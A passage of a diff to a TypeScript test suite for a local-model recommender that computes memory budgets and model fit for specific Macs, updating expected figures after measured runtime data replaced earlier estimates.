fact(row.cli)); +/** A stock model row by id. */ +function stockModel(id: string): LocalModelEntry { + return STOCK.models.find((m) => m.id === id) as LocalModelEntry; +} + /** The stock catalogue with a change applied, validated by the real schema. */ function stockWith(change: (catalog: LocalModelCatalog) => void): LocalModelCatalog { const catalog = structuredClone(STOCK_LOCAL_MODEL_CATALOG); @@ -154,7 +176,15 @@ function stockWith(change: (catalog: LocalModelCatalog) => void): LocalModelCata return LocalModelCatalogSchema.parse(catalog); } -/** A model row for a synthetic catalogue: 20 billion parameters, 10 GiB, one small context. */ +/** The stock catalogue as it was before anybody tested a row: no `tested` entry anywhere. */ +const UNTESTED = stockWith((catalog) => { + for (const row of catalog.models) row.tested = []; +}); + +/** + * A model row for a synthetic catalogue: 20 billion parameters, 10 GiB, one small context, one + * byte held per token and nothing else on top, so its need is its weights plus its context. + */ function model(id: string, overrides: Partial<LocalModelEntry> = {}): LocalModelEntry { return { id, @@ -162,7 +192,10 @@ function model(id: string, overrides: Partial<LocalModelEntry> = {}): LocalModel license: 'Apache-2.0', paramsB: 20, bytes: 10 * GIB, - kvBytesPerToken: 1, + heldBytesPerToken: 1, + overheadBytes: 0, + peakExtraBytes: 0, + figures: 'estimated', contexts: [1024], rank: 1, tested: [], @@ -171,15 +204,14 @@ function model(id: string, overrides: Partial<LocalModelEntry> = {}): LocalModel } /** - * A synthetic catalogue: no prompt cache, one harness `alpha` that works from 1024 tokens, and - * one chip row ('M4 Max' at 400 GB/s, so tokens per second = `speedPer100Gbps` x 4). + * A synthetic catalogue: one harness `alpha` that works from 1024 tokens, and one chip row + * ('M4 Max' at 400 GB/s, so tokens per second = `speedPer100Gbps` x 4). */ function catalogOf(models: LocalModelEntry[], harnesses?: LocalHarnessEntry[]): LocalModelCatalog { return LocalModelCatalogSchema.parse({ schema: 1, updated: '2026-11-06', minMacosMajor: 14, - promptCacheTiers: [{ minMemGb: 0, bytes: 0 }], models, harnesses: harnesses ?? [{ cli: 'alpha', minContext: 1024, rank: 1 }], chips: [{ match: 'M4 Max', gbps: 400 }], @@ -190,19 +222,22 @@ function catalogOf(models: LocalModelEntry[], harnesses?: LocalHarnessEntry[]): const HUNDRED_GIB_MAC = mac(128, 'Apple M4 Max', { wiredLimitMb: 101 * 1024 }); const HUNDRED_GIB = 100 * GIB; -/** What a synthetic model needs beside its weights at its 1024-token context: 1 GiB plus the KV cache. */ -const SYNTHETIC_OVERHEAD = GIB + 1024; +/** What a synthetic model needs beside its weights at its 1024-token context: one byte per token. */ +const SYNTHETIC_OVERHEAD = 1024; /** A model whose need is exactly `need` bytes in a synthetic catalogue. */ function modelNeeding(id: string, need: number, overrides: Partial<LocalModelEntry> = {}): LocalModelEntry { return model(id, { bytes: need - SYNTHETIC_OVERHEAD, ...overrides }); } +/** The pick and the alternatives, in order. */ +function rows(result: Recommendation): Candidate[] { + return [result.pick, ...result.alternatives].filter((candidate): candidate is Candidate => candidate !== undefined); +} + /** `id@context` of the pick and of each alternative, in order. */ function order(result: Recommendation): string[] { - return [result.pick, ...result.alternatives] - .filter((candidate): candidate is Candidate => candidate !== undefined) - .map((candidate) => `${candidate.modelId}@${candidate.context}`); + return rows(result).map((candidate) => `${candidate.modelId}@${candidate.context}`); } /** Every string anywhere in a value. */ @@ -232,7 +267,7 @@ beforeEach(() => { // ---------- 1. Budget and need ---------- -describe('deviceBudget', () => { +describe('deviceBudget, estimated', () => { // Sold size, device limit L and budget B in GiB. L is 2/3 of memory below 36 GB and 3/4 from // 36 GB; B = min(L - 1, memory - reserve). Only at 8 GB is the reserve the smaller bound. const TIERS: [soldGb: number, limitGib: number, budgetGib: number][] = [ @@ -321,34 +356,94 @@ describe('deviceBudget', () => { }); }); -describe('needBytes', () => { - const nineB = STOCK.models.find((m) => m.id === 'qwen3.5:9b') as LocalModelEntry; - - it('adds weights, the KV cache of the context, 1 GiB and the prompt cache', () => { - // 6,550,825,373 + 32768 x 65536 + 1 GiB + 512 MiB on a Mac below 32 GB. - expect(needBytes(nineB, 65536, STOCK, mac(16, 'Apple M4'))).toBe(6_550_825_373 + 2 * GIB + GIB + 512 * MIB); - expect(needBytes(nineB, 65536, STOCK, mac(16, 'Apple M4'))).toBe(10_308_921_757); - // Half the context, half the KV cache. - expect(needBytes(nineB, 32768, STOCK, mac(16, 'Apple M4'))).toBe(6_550_825_373 + GIB + GIB + 512 * MIB); +describe('deviceBudget, measured', () => { + it('takes what the runtime reported as the limit, without the 1 GiB of the estimate', () => { + // The MacBook: 37.4 GiB reported, memory - reserve is 40 GiB, so the report is the budget. + expect(deviceBudget(mac(48, 'Apple M5 Pro'), { measuredTotalBytes: MACBOOK_MEASURED_TOTAL })).toEqual({ + limitBytes: 40_157_944_217, + budgetBytes: 40_157_944_217, + source: 'measured', + }); + // 1.4 GiB more than the estimate of 35 GiB, which was on the careful side. + expect(40_157_944_217 - deviceBudget(mac(48, 'Apple M5 Pro')).budgetBytes).toBe(2_576_980_377); }); - it('counts a prompt cache of 512 MiB below 32 GB of memory and 2 GiB from 32 GB', () => { - const base = 6_550_825_373 + 2 * GIB + GIB; - for (const soldGb of [8, 16, 18, 24]) { - expect(needBytes(nineB, 65536, STOCK, mac(soldGb, 'Apple M4')) - base, `${soldGb} GB`).toBe(512 * MIB); - } - for (const soldGb of [32, 36, 48, 64, 96, 128]) { - expect(needBytes(nineB, 65536, STOCK, mac(soldGb, 'Apple M4')) - base, `${soldGb} GB`).toBe(2 * GIB); - } + it('is still bounded by the reserve', () => { + // The Mac mini: 11.8 GiB reported, but 16 GiB minus the 6 GiB reserve is 10 GiB. + expect(deviceBudget(mac(16, 'Apple M4'), { measuredTotalBytes: MACMINI_MEASURED_TOTAL })).toEqual({ + limitBytes: 12_670_153_523, + budgetBytes: 10 * GIB, + source: 'measured', + }); }); - it('does not depend on the chip or the harness', () => { - expect(needBytes(nineB, 65536, STOCK, mac(48, 'Apple M1'))).toBe( - needBytes(nineB, 65536, STOCK, mac(48, 'Apple M5 Ultra')) + it('beats a wired limit: the runtime read what it will really use', () => { + const hw = mac(48, 'Apple M5 Pro', { wiredLimitMb: 20_000 }); + expect(deviceBudget(hw).source).toBe('wired-limit'); + expect(deviceBudget(hw, { measuredTotalBytes: MACBOOK_MEASURED_TOTAL })).toMatchObject({ + budgetBytes: MACBOOK_MEASURED_TOTAL, + source: 'measured', + }); + }); + + it('ignores a figure that is no byte count and falls back to the estimate', () => { + const estimated = deviceBudget(mac(48, 'Apple M5 Pro')); + for (const measuredTotalBytes of [0, -1, Number.NaN, Number.POSITIVE_INFINITY, undefined]) { + expect(deviceBudget(mac(48, 'Apple M5 Pro'), { measuredTotalBytes }), String(measuredTotalBytes)).toEqual( + estimated + ); + } + // A fraction of a byte is rounded down. + expect(deviceBudget(mac(48, 'Apple M5 Pro'), { measuredTotalBytes: 40_157_944_217.6 }).limitBytes).toBe( + 40_157_944_217 ); }); }); +describe('needBytes', () => { + it('is the peak: weights, what stays held for the context, the runner, and the moment of a long prompt', () => { + // The measured row: 23,105,798,956 + 37,000 x 131,072 + 3 GB + 5 GB. + const moe = stockModel('qwen3.6:35b-a3b'); + expect(needBytes(moe, 131072)).toBe(23_105_798_956 + 37_000 * 131_072 + 3_000_000_000 + 5_000_000_000); + expect(needBytes(moe, 131072)).toBe(35_955_462_956); + // What was measured on the MacBook: about 30.5 GB held and 35 to 36 GB at the peak. + expect(formatGb(needBytes(moe, 131072))).toBe('36.0'); + expect(formatGb(needBytes(moe, 131072) - moe.peakExtraBytes)).toBe('31.0'); + }); + + it('grows with the context by what one token holds', () => { + const nineB = stockModel('qwen3.5:9b'); + expect(needBytes(nineB, 65536)).toBe(16_975_657_373); + expect(needBytes(nineB, 32768)).toBe(15_763_241_373); + // Half the context, half of what the context holds: 37,000 x 32,768. + expect(needBytes(nineB, 65536) - needBytes(nineB, 32768)).toBe(1_212_416_000); + }); + + it('reads every figure from the row it is given', () => { + const row = model('probe:1', { + bytes: 1000, + heldBytesPerToken: 7, + overheadBytes: 30, + peakExtraBytes: 500, + contexts: [10], + }); + expect(needBytes(row, 10)).toBe(1000 + 70 + 30 + 500); + expect(needBytes({ ...row, peakExtraBytes: 0 }, 10)).toBe(1100); + }); + + it('states the need of every stock row at its largest context', () => { + expect(Object.fromEntries(STOCK.models.map((m) => [m.id, formatGb(needBytes(m, m.contexts[0]))]))).toEqual({ + 'qwen3.5:9b': '17.0', + 'qwen3.5:9b-q8_0': '20.9', + 'gpt-oss:20b': '26.6', + 'qwen3.6:35b-a3b': '36.0', + 'qwen3.8:27b': '30.6', + 'qwen3.8:27b-q8_0': '47.7', + 'qwen3.5:122b-a10b': '94.2', + }); + }); +}); + describe('the fit grade', () => { const pickOf = (need: number): Candidate | undefined => recommend(HUNDRED_GIB_MAC, catalogOf([modelNeeding('probe:1', need)]), [fact('alpha')]).pick; @@ -384,18 +479,21 @@ describe('the fit grade', () => { describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { /** - * Expected: Qwen3.6 35B-A3B at 131,072 tokens with OpenCode, Good, about 42 tokens per second. + * Expected: Qwen3.6 35B-A3B at 131,072 tokens with OpenCode, a TIGHT fit, 67.7 tokens per + * second, "Recommended for this Mac". * - * Why. The budget is 35 GiB (3/4 of 48 GiB minus 1). Five models fit it as Good. The M5 Pro is - * in the chips table (307 GB/s), so each model with a speed figure gets an estimate: - * the dense 27B computes to 2.95 x 3.07 = 9.1 tokens per second, under the 10 that separate - * slow from ok, while the 35B-A3B (3 billion parameters active per token) computes to 41.8. - * Speed ranks before model rank, so the 35B-A3B wins although the 27B has the higher rank. The - * 27B stays in the list, last, marked Slow. Both harnesses can run it; OpenCode has the - * higher rank. + * Why. This is the Mac the model was run on (2026-11-06), so its row has a `tested` entry for + * exactly this chip, memory size and harness. A tested row ranks first, and it reports the + * speed that was measured (67.7) in place of the estimate from the chip (13.6 x 3.07 = 41.8). + * + * The need is the peak at the full context: 23.1 GB of weights + 4.8 GB held for 131,072 + * tokens + 3 GB of runner + 5 GB for a moment while a long prompt is processed = 36.0 GB. + * Before the runtime ran, the budget is the estimate, 35 GiB (37.6 GB): 0.957 of it, tight. + * It is not stepped down to 65,536 tokens, where it would be 0.892: a model is offered at + * the largest context it fits at. */ - it('gets Qwen3.6 35B-A3B at 131072 tokens with OpenCode', async () => { - const hw = await realMac(MACBOOK_SYSCTL, 890_926_084); + it('gets Qwen3.6 35B-A3B at 131072 tokens with OpenCode, as a tight fit', async () => { + const hw = await macbook(); expect(hw.chip).toBe('Apple M5 Pro'); expect(hw.memClassGb).toBe(48); @@ -415,70 +513,135 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { cli: 'opencode', cliLabel: 'OpenCode', cliInstalled: true, - // 22,621,314,161 + 20480 x 131072 + 1 GiB + 2 GiB. - needBytes: 28_526_894_193, - needGb: '28.5', - downloadBytes: 22_621_314_161, - downloadGb: '22.6', - budgetShare: 0.759, - fit: 'good', - fitLabel: 'Good', + // 23,105,798,956 + 37,000 x 131,072 + 3,000,000,000 + 5,000,000,000. + needBytes: 35_955_462_956, + needGb: '36.0', + // What a Mac really downloads (the MLX build), not the 22.6 GB of the registry manifest. + downloadBytes: 23_105_798_956, + downloadGb: '23.1', + budgetShare: 0.957, + fit: 'tight', + fitLabel: 'Tight', speed: 'ok', - tokensPerSecond: 41.8, - tested: false, + // Measured on this Mac, not the 41.8 the chip's bandwidth predicts. + tokensPerSecond: 67.7, + tested: true, + needSource: 'measured', + tag: { kind: 'tested', label: 'Tested on a Mac like this' }, + harnesses: [ + { cli: 'opencode', cliLabel: 'OpenCode', installed: true }, + { cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true }, + ], + // No runtime download was named, so an install downloads the model alone. + installBytes: 23_105_798_956, + installGb: '23.1', }); }); - it('says "Best fit", not "Recommended", and that nobody tested it on such a Mac', async () => { - const result = recommend(await realMac(MACBOOK_SYSCTL, 890_926_084), STOCK, ALL_INSTALLED); + /** + * Expected with the budget the runtime MEASURED on this Mac (37.4 GiB, 40.2 GB): the same + * pick at the same context, 0.895 of the budget, still tight. That is what the measurement + * notes say of it: "it FITS the measured 40.2 GB budget, and it is TIGHT, not Good". + */ + it('keeps the pick under the measured budget: 36.0 of 40.2 GB, tight', async () => { + const result = recommend(await macbook(), STOCK, ALL_INSTALLED, { + measuredTotalBytes: MACBOOK_MEASURED_TOTAL, + runtimeDownloadBytes: RUNTIME_ARCHIVE_BYTES, + }); + expect(result.budgetBytes).toBe(40_157_944_217); + expect(result.budgetGb).toBe('40.2'); + expect(result.budgetSource).toBe('measured'); + expect(result.pick).toMatchObject({ + modelId: 'qwen3.6:35b-a3b', + context: 131072, + needGb: '36.0', + budgetShare: 0.895, + fit: 'tight', + tested: true, + // The model plus the runtime archive: 23,105,798,956 + 185,971,671. + installBytes: 23_291_770_627, + installGb: '23.3', + }); + // At 65536 tokens it would be a good fit (0.835), and it is still offered at the full context. + const moe = stockModel('qwen3.6:35b-a3b'); + expect(needBytes(moe, 65536) / result.budgetBytes).toBeCloseTo(0.835, 3); + expect(needBytes(moe, 65536) / result.budgetBytes).toBeLessThan(FIT_GOOD_MAX_SHARE); + }); + + it('says "Recommended", because the pick was run on exactly such a Mac', async () => { + const result = recommend(await macbook(), STOCK, ALL_INSTALLED); + expect(result.headline).toEqual({ text: 'Recommended for this Mac' }); + // The "not yet tested" note would be false. + expect(result.notes).toEqual([]); + }); + + it('lists the other four models that fit: the fast ones, the one of unknown speed, the slow one', async () => { + const result = recommend(await macbook(), STOCK, ALL_INSTALLED); + expect( + result.alternatives.map((c) => [c.modelId, c.context, c.fit, c.speed, c.tokensPerSecond ?? null, c.tag?.kind]) + ).toEqual([ + ['qwen3.5:9b-q8_0', 65536, 'good', 'ok', 17.8, 'small'], + ['qwen3.5:9b', 65536, 'good', 'ok', 28.6, 'small'], + ['gpt-oss:20b', 131072, 'good', 'unknown', null, undefined], + // The dense 27B computes to 2.95 x 3.07 = 9.1 tokens per second on this chip. + ['qwen3.8:27b', 131072, 'good', 'slow', 9.1, 'slow'], + ]); + expect(result.alternatives[2].speedLabel).toBe('Speed unknown'); + expect(result.alternatives[3].speedLabel).toBe('Slow'); + // Only the tested row rests on a measurement of that model. + expect(result.alternatives.map((c) => c.needSource)).toEqual(['estimated', 'estimated', 'estimated', 'estimated']); + // The two that do not fit at any context are not listed. + expect(order(result).some((entry) => entry.startsWith('qwen3.8:27b-q8_0'))).toBe(false); + expect(order(result).some((entry) => entry.startsWith('qwen3.5:122b'))).toBe(false); + }); + + it('would get the same model as "Best fit", with the estimated speed, had nobody tested it', async () => { + const result = recommend(await macbook(), UNTESTED, ALL_INSTALLED); + expect(result.pick).toMatchObject({ + modelId: 'qwen3.6:35b-a3b', + context: 131072, + fit: 'tight', + tested: false, + // 13.6 x 307 / 100. + tokensPerSecond: 41.8, + tag: { kind: 'best', label: 'Best fit' }, + }); expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); }); - it('lists the other four models that fit: the fast ones, the one of unknown speed, the slow one', async () => { - const result = recommend(await realMac(MACBOOK_SYSCTL, 890_926_084), STOCK, ALL_INSTALLED); - expect(result.alternatives.map((c) => [c.modelId, c.context, c.fit, c.speed, c.tokensPerSecond ?? null])).toEqual([ - ['qwen3.5:9b-q8_0', 65536, 'good', 'ok', 17.8], - ['qwen3.5:9b', 65536, 'good', 'ok', 28.6], - ['gpt-oss:20b', 131072, 'good', 'unknown', null], - ['qwen3.8:27b', 131072, 'good', 'slow', 9.1], - ]); - expect(result.alternatives[2].speedLabel).toBe('Speed unknown'); - expect(result.alternatives[3].speedLabel).toBe('Slow'); - // The two that do not fit 35 GiB at any context are not listed. - expect(order(result)).not.toContain('qwen3.8:27b-q8_0@131072'); - expect(order(result).some((entry) => entry.startsWith('qwen3.5:122b'))).toBe(false); - }); - - it('would get the 27B instead if its chip were in no chips row', async () => { - // The same Mac with the M5 Pro row removed: every speed is unknown, so model rank decides. - const hw = await realMac(MACBOOK_SYSCTL, 890_926_084); + it('keeps its measured speed when its chip is in no chips row', async () => { + // The same Mac with the M5 Pro row removed: every ESTIMATE is gone, the measurement is not. const withoutChip = stockWith((catalog) => { catalog.chips = catalog.chips.filter((row) => row.match !== 'M5 Pro'); }); - const result = recommend(hw, withoutChip, ALL_INSTALLED); - expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', context: 131072, speed: 'unknown' }); - expect(result.pick).not.toHaveProperty('tokensPerSecond'); + const result = recommend(await macbook(), withoutChip, ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.6:35b-a3b', speed: 'ok', tokensPerSecond: 67.7, tested: true }); + // The others have no speed, so the model rank orders them. + expect(result.alternatives.map((c) => [c.modelId, c.speed])).toEqual([ + ['qwen3.8:27b', 'unknown'], + ['gpt-oss:20b', 'unknown'], + ['qwen3.5:9b-q8_0', 'unknown'], + ['qwen3.5:9b', 'unknown'], + ]); }); }); describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { /** - * Expected: no recommendation, reason `memory`, in the sentence that names both numbers. + * Expected: no recommendation, reason `memory`, in the plain sentence. * - * Why. The budget is 9.67 GiB (2/3 of 16 GiB minus 1). The only model near it is the 9B. Both - * harnesses that may be offered need 65,536 tokens of context, and there the 9B needs - * 6.10 GiB of weights + 2 GiB of KV cache + 1 GiB + 0.5 GiB of prompt cache = 9.60 GiB, which - * is 0.993 of the budget: above the 0.98 where "tight" ends. At 32,768 tokens it would fit - * (0.890, tight), but the one harness that works at that context is gated. + * Why. The budget is 9.67 GiB (10.4 GB: 2/3 of 16 GiB minus 1). The smallest model, the 9B, + * needs 6.6 GB of weights + 1.2 GB held for its smallest context of 32,768 tokens + 3 GB of + * runner + 5 GB at the peak = 15.8 GB: one and a half times the budget. Nothing fits at any + * context, so this is no longer a miss by a hair that deserves the sentence with both numbers. * - * The miss is 1.3 points on an ESTIMATED budget, so the sentence is not "too little memory" - * (what an 8 GB Mac is told): it says the budget (10.4 GB), the need (10.3 GB) and that - * Codeman estimates. + * The 3 GB and the 5 GB were measured on a 35B model and are applied to the 9B unmeasured + * (`needSource: 'estimated'`), so this answer is careful, not proven. */ - it('gets no recommendation: nothing fits at the context a harness needs', async () => { - const hw = await realMac(MACMINI_SYSCTL, 41_752_848); + it('gets no recommendation: no model fits at any context', async () => { + const hw = await macMini(); expect(hw.chip).toBe('Apple M4'); expect(hw.memClassGb).toBe(16); @@ -488,9 +651,8 @@ describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { verdict: 'none', reason: 'memory', headline: { - text: 'Codeman estimates that this Mac can give a model about {budget} GB of memory. The smallest model a coding agent can work with needs about {need} GB. That leaves no safe margin, so Codeman recommends none here.', - // floor(17,179,869,184 x 2/3) - 1 GiB, and the 9B at 65536 tokens: 10,308,921,757 bytes. - vars: { budget: '10.4', need: '10.3' }, + text: 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + vars: { memory: '16' }, }, notes: [], alternatives: [], @@ -501,25 +663,38 @@ describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { }); }); - it('misses by a hair at 65536 tokens and would fit at 32768', async () => { - const hw = await realMac(MACMINI_SYSCTL, 41_752_848); - const nineB = STOCK.models.find((m) => m.id === 'qwen3.5:9b') as LocalModelEntry; + it('is far from fitting: the smallest model at its smallest context needs 1.5 times the budget', async () => { + const hw = await macMini(); + const nineB = stockModel('qwen3.5:9b'); const budget = deviceBudget(hw).budgetBytes; - const shareAt64k = needBytes(nineB, 65536, STOCK, hw) / budget; - const shareAt32k = needBytes(nineB, 32768, STOCK, hw) / budget; - expect(shareAt64k).toBeCloseTo(0.9932, 4); - expect(shareAt64k).toBeGreaterThan(FIT_TIGHT_MAX_SHARE); - expect(shareAt32k).toBeCloseTo(0.8898, 4); - expect(shareAt32k).toBeLessThan(FIT_TIGHT_MAX_SHARE); - // Every other model needs more than the whole budget at its smallest context. - for (const other of STOCK.models.filter((m) => m.id !== 'qwen3.5:9b')) { - const smallest = other.contexts[other.contexts.length - 1]; - expect(needBytes(other, smallest, STOCK, hw), other.id).toBeGreaterThan(budget); + expect(formatGb(needBytes(nineB, 32768))).toBe('15.8'); + expect(needBytes(nineB, 32768) / budget).toBeCloseTo(1.5187, 4); + expect(needBytes(nineB, 65536) / budget).toBeCloseTo(1.6355, 4); + // Every model needs more than the whole budget at every context. + for (const row of STOCK.models) { + for (const ctx of row.contexts) expect(needBytes(row, ctx), `${row.id}@${ctx}`).toBeGreaterThan(budget); } }); - it('would get the 9B at 32768 tokens, as a limited answer, once the gated harness is opened', async () => { - const hw = await realMac(MACMINI_SYSCTL, 41_752_848); + it('gets none with the budget its runtime measured, too', async () => { + // The runtime reported 11.8 GiB here; the 6 GiB reserve leaves 10 GiB (10.7 GB) of it. + const result = recommend(await macMini(), STOCK, ALL_INSTALLED, { measuredTotalBytes: MACMINI_MEASURED_TOTAL }); + expect(result).toMatchObject({ + verdict: 'none', + reason: 'memory', + headline: { text: LOCAL_MODEL_LABELS.noneMemory, vars: { memory: '16' } }, + budgetBytes: 10 * GIB, + budgetGb: '10.7', + budgetSource: 'measured', + }); + }); + + it('gets none with a wired limit or with the gated harness opened: memory is what is missing', async () => { + // iogpu.wired_limit_mb = 14000 lifts the budget to 10 GiB (memory minus the 6 GiB reserve). + const wired = recommend({ ...(await macMini()), wiredLimitMb: 14000 }, STOCK, ALL_INSTALLED); + expect(wired).toMatchObject({ verdict: 'none', reason: 'memory', budgetSource: 'wired-limit' }); + expect(wired.budgetBytes).toBe(10 * GIB); + const ungated = stockWith((catalog) => { catalog.harnesses = catalog.harnesses.map((row) => ({ cli: row.cli, @@ -527,28 +702,9 @@ describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { rank: row.rank, })); }); - const result = recommend(hw, ungated, ALL_INSTALLED); - expect(result.verdict).toBe('limited'); - expect(result.pick).toMatchObject({ - modelId: 'qwen3.5:9b', - context: 32768, - cli: 'pi', - fit: 'tight', - budgetShare: 0.89, - speed: 'ok', - // 9.3 x 1.2. - tokensPerSecond: 11.2, - }); - }); - - it('would get the 9B at 65536 tokens if a wired limit had been set on it', async () => { - // iogpu.wired_limit_mb = 14000 lifts the budget to 10 GiB (memory minus the 6 GiB reserve). - const hw = { ...(await realMac(MACMINI_SYSCTL, 41_752_848)), wiredLimitMb: 14000 }; - const result = recommend(hw, STOCK, ALL_INSTALLED); - expect(result.verdict).toBe('limited'); - expect(result.budgetSource).toBe('wired-limit'); - expect(result.budgetBytes).toBe(10 * GIB); - expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', context: 65536, cli: 'opencode', fit: 'tight' }); + const opened = recommend(await macMini(), ungated, ALL_INSTALLED); + expect(opened.reason).toBe('memory'); + expect(opened.headline.text).toBe(LOCAL_MODEL_LABELS.noneMemory); }); }); @@ -558,25 +714,27 @@ describe('every memory size, with the stock catalogue', () => { const EXPECTED: [soldGb: number, chip: string, answer: string][] = [ [8, 'Apple M2', 'none memory'], [16, 'Apple M4', 'none memory'], - // The 9B at 65536 tokens is 0.87 of 11 GiB. - [18, 'Apple M3 Pro', 'limited qwen3.5:9b@65536 tight ok'], - // gpt-oss:20b at 65536 tokens needs 15.8 GiB of the 15 GiB budget: out. - [24, 'Apple M4', 'limited qwen3.5:9b@65536 good ok'], - // gpt-oss:20b fits only as Tight here (0.853 at 65536 tokens, 0.927 at 131072), and Good - // ranks before Tight. The Q8 9B is Good but slow on a base M4 (7 tokens per second). The - // pick is a 9B, the verdict is `ok` all the same: a 20B fits this Mac. - [32, 'Apple M4', 'ok qwen3.5:9b@65536 good ok'], - [32, 'Apple M1 Max', 'ok qwen3.5:9b-q8_0@65536 good ok'], - // The 27B (0.905) and the 35B-A3B (0.974) are Tight; gpt-oss:20b is Good but has no speed - // figure, and a known speed ranks before an unknown one. + // The 9B at its smallest context needs 15.8 GB of the 11.8 GB budget. + [18, 'Apple M3 Pro', 'none memory'], + // The 9B fits only at 32768 tokens (0.979), and the one harness that works there is gated. + [24, 'Apple M4', 'none memory'], + // Only the two 9B rows fit (0.778, and 0.956 for the Q8, which is slow on a base M4), so + // this is a small-model Mac: gpt-oss:20b needs 24.2 GB of the 21.8 GB budget. + [32, 'Apple M4', 'limited qwen3.5:9b@65536 good ok'], + // Both 9B rows are fast enough here, and the higher rank wins although it is the tight one. + [32, 'Apple M1 Max', 'limited qwen3.5:9b-q8_0@65536 tight ok'], + // gpt-oss:20b fits as Tight (0.954), so the verdict is `ok`; it has no speed figure, and a + // known speed ranks before an unknown one. [36, 'Apple M4 Max', 'ok qwen3.5:9b-q8_0@65536 good ok'], // On a Pro chip the dense 27B is slow (8.1 tokens per second), the 35B-A3B is not. - [48, 'Apple M4 Pro', 'ok qwen3.6:35b-a3b@131072 good ok'], + [48, 'Apple M4 Pro', 'ok qwen3.6:35b-a3b@131072 tight ok'], + [48, 'Apple M5 Pro', 'ok qwen3.6:35b-a3b@131072 tight ok'], + // On a Max chip the 27B is fast enough (12.1) and has the higher rank. [48, 'Apple M4 Max', 'ok qwen3.8:27b@131072 good ok'], // The Q8 27B fits 47 GiB but computes to 7 tokens per second on this chip. [64, 'Apple M4 Max', 'ok qwen3.8:27b@131072 good ok'], [96, 'Apple M3 Ultra', 'ok qwen3.8:27b-q8_0@262144 good ok'], - // The 122B fits 95 GiB only as Tight (0.861) and has no speed figure. + // The 122B fits 95 GiB only as Tight (0.924) and has no speed figure. [128, 'Apple M5 Ultra', 'ok qwen3.8:27b-q8_0@262144 good ok'], ]; @@ -588,6 +746,23 @@ describe('every memory size, with the stock catalogue', () => { expect(actual).toBe(answer); }); + it('tells the four sizes without a model which kind of "too little" it is', () => { + const headlineOf = (soldGb: number): Recommendation['headline'] => + recommend(mac(soldGb, 'Apple M4'), STOCK, ALL_INSTALLED).headline; + // Nothing fits at any context: the plain sentence with the size the Mac is sold as. + for (const soldGb of [8, 16, 18]) { + expect(headlineOf(soldGb), `${soldGb} GB`).toEqual({ + text: LOCAL_MODEL_LABELS.noneMemory, + vars: { memory: String(soldGb) }, + }); + } + // A model fits, but only below the context a harness needs: both numbers. + expect(headlineOf(24)).toEqual({ + text: LOCAL_MODEL_LABELS.noneMemoryContext, + vars: { budget: '16.1', need: '17.0' }, + }); + }); + it('always pairs the pick with the top-ranked harness, OpenCode', () => { for (const hw of SWEEP) { const result = recommend(hw, STOCK, ALL_INSTALLED); @@ -745,27 +920,56 @@ describe('verdict none', () => { }); it('says both numbers when models fit, but only below the context a harness needs', () => { - // The 16 GB case of the Mac mini, with harnesses that are all present. - const result = recommend(mac(16, 'Apple M4'), STOCK, ALL_INSTALLED); + // The 24 GB case, with harnesses that are all present: the 9B fits at 32768 tokens. + const hw = mac(24, 'Apple M4'); + const nineB = stockModel('qwen3.5:9b'); + expect(needBytes(nineB, 32768) / deviceBudget(hw).budgetBytes).toBeCloseTo(0.9787, 4); + expect(needBytes(nineB, 65536) / deviceBudget(hw).budgetBytes).toBeCloseTo(1.054, 4); + + const result = recommend(hw, STOCK, ALL_INSTALLED); expectNone(result, 'memory', LOCAL_MODEL_LABELS.noneMemoryContext); // The need is the smallest one at a context a usable harness works at (the 9B at 65536), // not the 9B at 32768, which fits and which only the gated harness could use. - expect(result.headline.vars).toEqual({ budget: '10.4', need: '10.3' }); + expect(result.headline.vars).toEqual({ budget: '16.1', need: '17.0' }); expect(result.headline.text).toMatch(/^Codeman estimates/); expect(result.headline.text).not.toContain('{memory}'); }); + it('would give that Mac the 9B at 32768 tokens, as a limited answer, once the gated harness is opened', () => { + const ungated = stockWith((catalog) => { + catalog.harnesses = catalog.harnesses.map((row) => ({ + cli: row.cli, + minContext: row.minContext, + rank: row.rank, + })); + }); + const result = recommend(mac(24, 'Apple M4'), ungated, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(result.pick).toMatchObject({ + modelId: 'qwen3.5:9b', + context: 32768, + cli: 'pi', + fit: 'tight', + budgetShare: 0.979, + speed: 'ok', + // 9.3 x 1.2. + tokensPerSecond: 11.2, + }); + // Only the harness that works at 32768 tokens can run it there. + expect(result.pick?.harnesses.map((h) => h.cli)).toEqual(['pi']); + }); + it('says the same two numbers when the need is far above the budget', () => { - // One model: 3 GiB at 1024 tokens (fits 10 GiB), 30 GiB at the context the harness needs. + // One model: 2 GiB at 1024 tokens (fits 10 GiB), 30 GiB at the context the harness needs. const catalog = catalogOf( - [model('probe:1', { bytes: 2 * GIB, kvBytesPerToken: 1024, contexts: [28 * 1024 * 1024, 1024] })], + [model('probe:1', { bytes: 2 * GIB, heldBytesPerToken: 1024, contexts: [28 * 1024 * 1024, 1024] })], [{ cli: 'alpha', minContext: 4096, rank: 1 }] ); const hw = mac(16, 'Apple M4', { wiredLimitMb: 14000 }); const result = recommend(hw, catalog, [fact('alpha')]); expectNone(result, 'memory', LOCAL_MODEL_LABELS.noneMemoryContext); - // 2 GiB + 28 GiB of KV cache + 1 GiB = 31 GiB; the budget is 10 GiB. - expect(result.headline.vars).toEqual({ budget: formatGb(10 * GIB), need: formatGb(31 * GIB) }); + // 2 GiB + 28 GiB held for the context = 30 GiB; the budget is 10 GiB. + expect(result.headline.vars).toEqual({ budget: formatGb(10 * GIB), need: formatGb(30 * GIB) }); expect(result.budgetSource).toBe('wired-limit'); }); @@ -853,7 +1057,7 @@ describe('verdict none', () => { it('gives the reader every number of the sum: download + reserve - free = missing', () => { // 12 GB free is more than the 6.6 GB download, so without the reserve "not enough" reads false. - const hw = mac(24, 'Apple M4', { 